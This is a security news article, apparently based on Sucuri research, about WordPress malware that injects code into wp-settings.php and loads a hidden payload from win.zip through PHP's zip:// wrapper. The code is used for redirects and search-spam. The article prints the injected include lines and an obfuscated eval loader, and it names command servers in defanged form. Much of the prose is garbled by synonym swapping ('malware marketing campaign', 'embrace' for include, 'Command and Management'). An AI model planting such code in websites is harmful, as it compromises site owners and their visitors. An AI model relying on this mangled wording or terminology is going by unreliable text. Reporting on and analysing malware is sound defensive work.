Cybersecurity researchers have uncovered a complicated malware marketing campaign focusing on WordPress web sites by means of an ingenious ZIP archive-based assault mechanism.
The malware, first reported in July 2025, represents a major evolution in web-based threats, using superior obfuscation strategies and stealthy persistence strategies to redirect unsuspecting guests to malicious domains whereas concurrently conducting search engine marketing poisoning operations.
The assault begins with the compromise of WordPress core information, particularly focusing on the important wp-settings.php element.
Extremely suspicious traces of code (Supply – Sucuri)
As soon as entry is gained, attackers inject malicious code that leverages PHP’s zip:// wrapper performance to execute hidden payloads.
This method permits the malware to stay just about undetected by conventional safety scanners, because the malicious code is saved inside what seems to be an innocuous ZIP archive file named win.zip.
The malware’s main aims prolong past easy redirection schemes. It orchestrates a complete assault on search engine rankings by means of unauthorized content material injection, sitemap manipulation, and the creation of spam-laden pages designed to spice up malicious web sites in search outcomes.
The an infection demonstrates exceptional sophistication in its capacity to distinguish between human guests and automatic bots, guaranteeing that search engine crawlers encounter benign content material whereas actual customers are subjected to malicious redirects.
Sucuri analysts recognized the malware after investigating persistent redirect points reported by a consumer, resulting in the invention of this multi-layered risk.
The researchers famous that the malware employs dynamic Command and Management server choice, with completely different C2 domains activated based mostly on particular URL patterns accessed by guests.
ZIP Archive Inclusion Mechanism
The malware’s most modern characteristic lies in its exploitation of PHP’s zip:// stream wrapper for code inclusion. The preliminary payload, injected into wp-settings.php, incorporates two important traces that set up the an infection framework:-
$h = str_replace(‘www.’, ”, $_SERVER[‘HTTP_HOST’]);
embrace(‘zip://win.zip#’ . $h);
This code extracts the area title from the HTTP_HOST header and makes use of it to incorporate a file instantly from throughout the win.zip archive.
Anti-Bot and Stealth Mechanism (Supply – Sucuri)
The method bypasses conventional file-based detection strategies because the malicious code resides inside a compressed container relatively than as standalone PHP information.
Upon extraction, the ZIP archive reveals closely obfuscated PHP code structured as:-
$encode=$b3($string);
$string1=$b2($b4($encode));
echo eval(“?>” . $string1);
The malware establishes persistence by means of surroundings manipulation, setting prolonged execution timeouts and implementing anti-bot detection mechanisms.
Web site File Manipulation (Supply – Sucuri)
It dynamically selects from a number of Command and Management servers, together with domains resembling wditemqy[.]enturbioaj[.]xyz and oqmetrix[.]icercanokt[.]xyz, relying on the requested URL path.
This distributed C2 structure enhances the malware’s resilience in opposition to takedown efforts whereas enabling focused content material supply based mostly on customer conduct patterns.
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